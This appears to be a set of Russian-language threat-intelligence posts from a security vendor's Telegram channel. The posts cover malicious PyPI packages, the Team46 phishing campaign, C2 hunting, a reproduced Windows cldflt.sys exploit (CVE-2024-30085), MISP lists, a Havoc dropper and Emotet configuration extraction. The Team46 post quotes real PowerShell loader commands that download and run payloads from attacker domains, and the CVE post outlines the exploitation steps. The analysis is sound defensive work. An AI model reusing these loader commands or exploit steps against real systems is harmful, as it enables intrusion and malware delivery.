ESCalator – Telegram
ESCalator
6.51K subscribers
471 photos
1 video
18 files
188 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
Download Telegram
Страсти опенсорса: часть вторая

Инфостилеры 🧋

Ими уже никого не удивишь, ведь это популярный класс вредоносного программного обеспечения, часто упоминаемый в новостях. Большинство троянов крадут наши данные, но делают это без уважения. И тут разработчик GeorgeTheMightyDev подумал: «А что, если...»

И выпустил пакет pojang-resorter, который благодарит вас за то, что вы установили его приложение, ведь вы даете ему возможность сделать скриншот и отправить его на сервер Discord (скриншот 1). В следующих версиях нагрузка будет упакована в PyInstaller, а код — обфусцирован, однако мы оценили изначальное благородство автора

1001 мимикрия под requests 😵‍💫

Злоумышленники не перестают использовать кодовую базу популярной библиотеки requests для сокрытия своей вредоносной нагрузки. За эти две недели такое произошло в рамках пакетов flophttp и invokehttp. Так как в обоих случаях автор подписал себя как Kiany Reeves, у нас нет сомнений, что это одна кампания 🐶

Вредоносная нагрузка расположена в __init__.py и представляет собой обфусцированный однострочник (скриншот 2). Учитывая, что автор задает для библиотек и методов такие алиасы, как borrow, blacktrone, pickachu, takihao (скриншот 3), становится понятно, что наш злоумышленник — человек культуры.

Сезон отстуков 🏖

В последнее время наблюдается особая популярность простеньких троянов-логгеров, единственная задача которых состоит в том, чтобы на этапе установки или импорта пакета отстучаться злоумышленнику, опционально утащив с собой информацию о системе, иногда еще и переменные окружения.

На скриншотах 4–7 представлены различные варианты реализации такого функционала: это пакеты artifact-lab-3-package-77d0c154, artifact-lab-3-package-89883da3, tiktok-session-lite-sdk.

———

А вы знали про фичу pip с отсутствием приоритетов репозиториев? Надеемся, что вам было интересно 👍

#ti #stealer #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥147💯7👍3👀2
Атаки группы Team46 😎

Вчера, 4 сентября, исследователи из компании «Доктор Веб» выпустили интересный отчет о несостоявшейся атаке на российского оператора грузовых ж.-д. перевозок.

Нам хотелось бы добавить в этот отчет наши находки и дополнительную информацию о других атаках.

1️⃣ Первая атака

В исходном письме присутствовали два вектора — вредоносное вложение и ссылка на вредоносный архив rabotnik.today/resume/7952235986937661.rar. Отличительной особенностью этой атаки является то, что все используемые домены имеют заглушки, создающие вид его легитимности.

Так домен infosecteam.info принадлежал якобы российской компании InfoSecTeam (см. скриншот 1). Это может создавать видимость того, что файл является не реальной атакой, а пентестом. Страницы сайта явно переведены с помощью машинного перевода.

Шаблон сайта взят из магазина шаблонов (см. скриншот 2). Интересно, что при попытке поиска названия компании в Google первые две строки занимал сайт злоумышленников, а реальная компания из Великобритании — лишь четвертую (см. скриншот 3). На скриншоте также можно увидеть домен cyber46.team с точно таким же содержимым. По этому домену мы и назвали группировку Team46.

Сама атака носила явно массовый характер: мы обнаружили почти 4000 одинаковых ярлыков (с разными идентификаторами жертв) в архивах в открытых папках на infosecteam.info, загруженных туда в течение трех минут (см. скриншот 4).

2️⃣ Вторая атака

В апреле TI-эксперты отдела PT ESC также обнаружили аналогичные вредоносные ярлыки с именами SCAN_4024_2024_04_02.pdf.lnk и SCAN_4251_2024_03_25.pdf.lnk, загружавшие по ссылке srv480138.hstgr.cloud/uploads/scan_3824.pdf другой документ-приманку (см. скриншот 5).

В этой атаке содержимое домена srv480138.hstgr.cloud являлось полной копией сайта elevation.storeбьюти-магазина в ОАЭ. Заглушка совершенно не соотносилась с документом-приманкой, но это может говорить о том, что этот сервер злоумышленники могли также использовать для атак в ОАЭ, но подтверждений не нашлось.

🧐 Если взглянуть на команды ярлыков из двух атак, с помощью которых грузятся следующие стейджи, то можно увидеть определенное сходство:


powershell
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w Minimized -ep Bypass -nop -c "iwr 'http://infosecteam.info/Job%20application.pdf' -OutFile $env:LOCALAPPDATA\Temp\102fa066-cc9d-4a80-b3aa-12d5df196b42.pdf -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.';$env:LOCALAPPDATA\Temp\102fa066-cc9d-4a80-b3aa-12d5df196b42.pdf; iwr 'http://infosecteam.info/base.php' -OutFile $env:LOCALAPPDATA\Yandex\YandexBrowser\Application\Wldp.dll -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.';"



powershell
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w Minimized -ep Bypass -nop -c "iwr 'https://srv480138.hstgr.cloud/uploads/scan_3824.pdf' -OutFile $env:LOCALAPPDATA\Temp\399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.';$env:LOCALAPPDATA\Temp\399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf;iwr 'https://srv480138.hstgr.cloud/report.php?query=$env:COMPUTERNAME' -OutFile $env:LOCALAPPDATA\Temp\AdobeUpdater.exe -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.1 YaBrowser/23.11.0.0 Safari/537.36';$env:LOCALAPPDATA\Temp\AdobeUpdater.exe;"


Список сетевых IoC:


rabotnik.today
infosecteam.info
cybers46.team
cybers4646.my.id
srv480138.hstgr.cloud


#TI #hunt #ioc #apt
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍43🤝32👏2
C2 hunting: часть 1. Расширяем видимость сетевой инфраструктуры хакеров 😜

Часто при исследовании атаки, анализе TI или DFIR специалист сталкивается с сетевыми индикаторами компрометации (IP-адреса, домены, поддомены, URL-адреса), которые никак не идентифицируются TIP, фидами или сторонними сервисами, однако в рамках исследования являются вредоносными. Что специалист может сделать в этом случае? Прежде всего необходимо расширить область видимости вокруг индикатора.

💡 Расширение видимости — это процесс получения новых, относящихся к атаке или потенциально с нею связанных сетевых индикаторов, которые могут помочь обнаружить связь с уже известным атакующим или ВПО, а также помочь DFIR-команде обнаружить другие скомпрометированные узлы.

Сделать это можно несколькими основными способами:

1. Поиск связей с помощью базовой метаинформации индикатора.
2. Брутфорс поддоменов.
3. Поиск связей по внешним признакам управляющего сервера.
4. Активное сканирование интернета с помощью эмулятора сетевого протокола ВПО.

🤨 Начнем с первого способа.

У каждого типа сетевого индикатора есть своя метаинформация, которая позволяет сузить круг потенциальных кандидатов или найти точное совпадение.

Для IP-адреса это ASN, провайдер.

Для домена — поддомены, WHOIS-информация, DDNS или нет, стилистика написания, время резолва в определенный IP, DNS-записи.

Для URL-адреса — длина, параметры, значения.

Основной системой, которая включает практически все вышеприведенные параметры и позволяет осуществлять по ним поиск, является Passive DNS.

Passive DNS (PDNS) — система, которая хранит историю резолвов доменов в IP-адреса, их DNS-записи, поддомены и историю WHOIS. Правильный PDNS позволяет исследователю искать новые C2 с помощью практически любого вида информации, описанной выше. Например, система позволяет найти все домены:

— которые когда-либо резолвились и резолвятся в определенный IP.
— у которых в MX-записи определенный почтовый сервер.
— у которых в WHOIS-информации определенный номер телефона и т.п.

🏴‍☠️ Давайте рассмотрим пример с группировкой Space Pirates. Ее инфраструктура ранее состояла преимущественно из имен узлов DDNS четвертого уровня. На практике такое встречается достаточно редко, но как раз этот пример идеально подходит для демонстрации поиска новых серверов хакеров.

Возьмем один из серверов, а именно chip.serviechelp.changeip[.]us.

На VT видим резолвы в несколько IP-адресов. Откроем самый первый — 45.32.106[.]247 — и увидим, что на этом IP висит большое количество похожих поддоменов четвертого уровня.

У IP-адреса мы видим ASN (20473) и имя провайдера (AS-CHOOPA), что в будущем поможет точнее исследовать сетевую инфраструктуру группировки. Далее нам необходимо просто собрать весь список индикаторов и для каждого повторить итерацию поиска новых IP и похожих доменов.

😎 Для исходного поддомена можно спуститься на один уровень ниже и найти все поддомены четвертого уровня для поддомена третьего. В этом случае в интерфейсе мы увидим историю резолвов для доменов следующего уровня, что поможет нам сэкономить немного времени в исследовании.

Все эти методы работают для любой другой метаинформации сетевых индикаторов: WHOIS, DNS-записи, ASN, провайдер. Какую-то метаинформацию лучше использовать как ограничитель (например, ASN), так как иначе поиск выдаст слишком много результатов.

По факту в исследовании сетевой инфраструктуры мы имеем дело с графом со множеством ребер и вершин. Однако этот граф конечен. Естественно, такие процессы лучше автоматизировать, так как инфраструктура атакующих может насчитывать тысячи узлов, как, например, у Space Pirates. Но зачастую у одного и того же злоумышленника инфраструктура для разных атак может быть разной и независимой, и ее исследование только по метаинформации будет ограниченным.

Как еще можно искать связанные C2 хакеров, поговорим в следующих постах.

💡Базовый, условно бесплатный тулинг, который поможет в поиске новых C2:

virustotal.com/gui/home/search
securitytrails.com/
whoisxmlapi.com/
whoxy.com/
urlhaus.abuse.ch/
bgp.he.net/
Maltego


#TI #C2 #tips #hunt #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12🔥8👏3
Мы, ESC-VR, успешно воспроизвели эксплойт для CVE-2024-30085 😎

Уязвимость фигурировала на прошедшем в Pwn2Own 2024 в Ванкувере, где Team Theori использовала эксплойт для этой уязвимости в цепочке эксплойтов, осуществляющих Guest-To-Host-Escape из-под управления VMware Workstation, за что и получили свои заслуженные 13 очков в номинации Master Of Pwn.

Соревнования по типу pwn2own и matrixcup помогают подсветить реально эксплуатируемые уязвимости, эксплойты для которых, как правило, не разглашаются (в результате чего образуется состояние Known-Unkown, когда известно, что эксплойт есть, но как он работает неизвестно), и обратить на них особое внимание, ведь за подобными соревнованиями следим не только мы, но и злоумышленник, который может их воспроизвести и проэксплуатировать против незапатченной системы.

🧐 Cldflt.sys — это драйвер мини-фильтр, отвечающий за синхронизацию между пользовательской файловой системой и облаком OneDrive. В драйвере существовала ошибка CWE-122, возникающая в результате некорректной проверки размера bitmap, содержимое которого получается из Reparse Point. При этом память, аллоцируемая под bitmap, имеет фиксированный размер 4096 байт, но при этом не проверяется размер актуальных данных, которые будут скопированы в аллоцированную память.

Наш эксплойт утилизирует WNF- и ALPC- подсистемы для получения примитивов на запись и чтение, конкретно структуры _WNF_STATE_DATA и _ALPC_HANDLE_ENTRY.

💡 Немного деталей о том, как наш эксплойт работает:

1️⃣ Создает множества чанков, размером 4096 байт, через NtCreateWnfStateName и NtAlpcCreateResourceReserve. Таким образом последовательно в памяти размещается _WNF_STATE_DATA и _ALPC_HANDLE_ENTRY.

2️⃣ Создает множества дыр в последовательности созданной на шаге 1, через NtDeleteWnfStateData.

3️⃣ Триггерит уязвимость, таким образом bitmap размещается в одной из заранее подготовлены дыр. Размер bitmap задается равный 4096 + 16, чтобы перезаписать размер данных (_WNF_STATE_DATA.DataSize), на которые указывает _WNF_STATE_DATA.Data.

4️⃣ Перезаписывает через NtUpdateWnfStateData указатели в _ALPC_HANDLE_ENTRY.

5️⃣ Осуществляет через NtAlpcSendWaitReceivePort запись и чтение по произвольному адресу.

6️⃣ Крадет Token у процесса System (Token Stealing).

Конечно же, мы не могли не протестировать наши собственные продукты. И они нас не разочаровали: например, PT Sandbox обнаруживает эксплуатацию данной уязвимости.

Вердикты:


Exploit.Win32.Generic.d,
Exploit.Win32.Generic.a,
Rootkit.Win32.Generic.a


#escvr #cve #news
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19😎644👍21
🗂 Полезные источники данных: MISP Warning Lists

Аналитики информационной безопасности ежедневно сталкиваются с огромными объемами данных об угрозах. Чтобы извлечь из них наиболее релевантные события, они тратят множество часов на проведение сложных проверок. В больших количествах такие проверки могут привести к информационной перегрузке аналитика и в конечном итоге к ошибкам в анализе.

Чтобы этого избежать, можно воспользоваться первоначальной фильтрацией входного потока событий безопасности, позволяющей устранить ложноположительные срабатывания с помощью белых списков индикаторов. Для этого отлично подойдет открытый репозиторий MISP Warning Lists. Сейчас в нем содержится 89 различных наборов индикаторов, распределенных по группам.

Все наборы индикаторов в этом источнике можно условно разделить на две группы: «белые» и «серые».

☑️ К «белым» относятся однозначно легитимные индикаторы. Это, например, такие наборы, как:

dax30 — список известных веб-страниц крупнейших компаний в Германии;

security-provider-blogpost — список адресов блогов известных поставщиков средств безопасности;

eicar.com — список хеш-сумм для тестового вредоносного ПО EICAR.


Такие индикаторы — наиболее полезный способ отсекать ложноположительные срабатывания средств защиты информации.

ℹ️ «Серые» же индикаторы сами по себе легитимны, однако могут участвовать во вредоносной активности. К спискам, содержащим подобные индикаторы, можно отнести, например:

amazon_aws — список диапазонов IP-адресов Amazon Web Services;

vpn-ipv4 — список диапазонов IP-адресов, принадлежащих распространенным провайдерам VPN;

dynamic-dns — список известных провайдеров TLD и DDNS;

url-shortener — список известных сервисов для сокращения URL.


Применять такие списки для «обеления» поступающих событий можно, основываясь на политике безопасности организации и своем личном опыте (например, вы можете исходить из того, что весь трафик между вашей инфраструктурой и облачными провайдерами «белый»).

Вместе с тем эти же списки можно использовать и для подсвечивания событий, свидетельствующих о нарушении политики безопасности (например, если на DNS-сервере наблюдаются события разрешения доменов DDNS, это всегда подозрительно).

💡 Несколько советов по использованию:

Оцените полезность того или иного списка конкретно для своей инфраструктуры. Не стоит загружать все подряд.

• Обращайте внимание на обновляемость списков. Некоторые из них обновляются редко или не обновляются вообще.

#tool #tip #TI
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16👍9👀5👎1🥱1🤝1
СHavocают

Недавно к нам в руки попало фишинговое письмо. Тема письма указана в лучших традициях телефонных спам-звонков, когда вам звонят из ФСБ и пытаются развести на деньги 🥺

Злоумышленники переняли схему: некий Андреев Н. В. запугивает громкими словами и обязует предоставить в срок необходимый перечень документов 😳

По щелчку на документы․zip пользователь перенаправляется на сайт:


hffp[:]//inforussia[.]org/dokumenty.html


Вместо zip-архива по ссылке открывается HTML-страница с HTML smuggling. Внутри находится большой объем данных, которые зашифрованы base64 и add(35). Во избежание детекта внутри HTML-страницы ключевые названия методов обращены в base64-строки. Зашифрованный пейлоад сохраняется как Dokument_FSB.exe.

Внутри находится дроппер. По классике он динамически подтягивает стандартные функции из KERNEL32.DLL для загрузки шеллкода. При этом используется кастомный алгоритм хеширования:


def calc_hash(function: str, init=0x43AB):
calc_hash = init
for i in function:
calc_hash = (ord(i) + 0x7313 * calc_hash) & 0xffffffff
return calc_hash ^ 0xAB98


Но, кроме этого, загружаются такие функции:

• FindResourceW
• LoadResource
• LockResourceA
• SizeofResource
• RtlIpv6StringToAddressA

Эти API используются для расшифровки самого пейлоада. В одном из ресурсов файла лежат IPv6-адреса, разделенные символами 0D 0A. Эти строки считываются в массив строк, затем переводятся в байты при помощи RtlIpv6StringToAddressA. Уже потом полученный массив байт ксорится с огромным ключом-строкой в 0x2710 байт.

Полученный шеллкод понтово запускают в fiber, так же динамически подгружая API для этого. Внутри находится стандартный загрузчик demon Havoc.

IOCs


2a79d641b2c377474ff640343e77517b21a51315c3736966336372b3da8995b1
7c2f59d9790b816cb6f27a796d7c928046519f7429b7d2bbe53c60a7a55e22a7
ac301b7698ac040f219eb8dfb248595a406b075d91f51116ef60d4dd9f5242ad
inforussia[.]org
193.3.23[.]121
46.29.162[.]93


#TI #Phishing #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👏6👍3
Как не бороться с обфускацией 🫤

Автоматическое извлечение конфигураций упрощает выявление новых C2. Мы реверсим вредоносное семейство, находим конфигурацию и пишем скрипт для ее извлечения. Однако, если код сильно обфусцирован, как в случае, например, с Emotet 5, задача усложняется.

Помимо техники Control Flow Flattening, которая сама по себе неприятна, он добавляет много мертвого кода, а также раскладывает арифметические выражения на набор, казалось бы, бессмысленных и случайных операций, например, как на скрине 1.

Значение, которое кладется в edx, — второй аргумент функции run_send_recv_timer — вычисляется весьма странным образом, хотя в итоге результат выглядит как на скрине 2.

Все эти арифметические упражнения необходимы, чтобы в итоге получить 1.

📂 Эффективное извлечение конфигурации требует умения находить важные фрагменты кода и данных, в том числе среди подобных образцов.

Нас интересует в этом случае публичный ECDH-ключ сервера, используемый для генерации сессионного ключа шифрования данных в протоколе. Он зашифрован однобайтовым XOR. Проблема заключается в рандомизированных арифметических операциях для сборки буфера ключа на стеке.

Найти функцию расшифровки в дампе просто, нужный фрагмент кода — на скрине 3.

🧐 Встает проблема найти ссылку на функцию. Если бы семпл был x32, то задача была бы проста: найти начало функции и байты E8 <function-address-LE>, то есть call с операндом в виде адреса функции расшифровки.

Но в x64 вся адресация RIP-relative, то есть операнды-адреса — это смещения относительно конца текущей инструкции. Значит, мы найдем все инструкции call и проверим, равен ли операнд адресу начала функции расшифровки. Выглядит это так:


calls = self.mdmp.find_bytes(b"\xE8", segment_start, segment_size, find_first=False)
decrypt_refs = []
for call_pos in calls:
call_offset = self.mdmp.read(call_pos + 1, 4)
call_offset = struct.unpack("<i", call_offset)[0]
if call_pos + 5 + call_offset == decrypt_key_func_start:
decrypt_refs.append(call_pos)
if len(decrypt_refs) == 2:
break


💡Примечание: ссылок две, потому что зашито два ключа — один для ECDH, второй для ECDSA, каждый расшифровывается в отдельной функции.

Найдя ссылку на функцию расшифровки, ищем начало вызывающей ее функции. Ее псевдокод — на скрине 4.

Зашифрованный ключ собирается на стеке и далее расшифровывается. Мы знаем, что за этой красотой стоит сильно обфусцированный ассемблерный код, значит, считать буфер «as is» будет тяжело.

Прибегнем к такому инструменту, как эмулятор. Мы не будем деобфусцировать это скриптом, воспроизводить логику, а просто «выполним» это и считаем результат.

Для этого, поскольку мы знаем адрес ссылки на функцию decrypt_KEY, мы должны всего лишь найти начало функции decrypt_ECK1, считать ее и отдать эмулятору, который сделает всю грязную работу. Для эмуляции используем Speakeasy, который умеет эмулировать не только инструкции, но и среду ОС.

В итоге получаем изящное решение: создаем эмулятор, выделяем 4 байта под длину результата, загружаем тело функции как шеллкод и устанавливаем хук, который будет срабатывать на каждой инструкции.


def emulate_decrypt_key_func(self, func_body):
emul = speakeasy.Speakeasy()
shellcode = emul.load_shellcode(fpath=None, data=func_body, arch="amd64")
ctx = {"entry": True, "mem": emul.mem_alloc(4), "skip_call": True}
emul.add_code_hook(self.code_hook_key, ctx=ctx)
emul.run_shellcode(shellcode)
decrypted = self.decrypt(ctx["encrypted_string"], ctx["key"], ctx["length"])
return decrypted


Внутри коллбэка мы пропускаем один call — вызов пустышки nullsub_4 — и останавливаемся перед вызовом decrypt_key. В этот момент в одном из параметров лежит готовый буфер с зашифрованным ключом. Далее этот буфер считывается и расшифровывается в ECDH-ключ, как видно на скрине 5.

Благодаря эмулятору, мы не стали пытаться изменить обфускацию, а приняли ее такой, какая она есть, чтобы получить желаемое 😌

#tip #trick #C2
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥21👍156🥰1👏1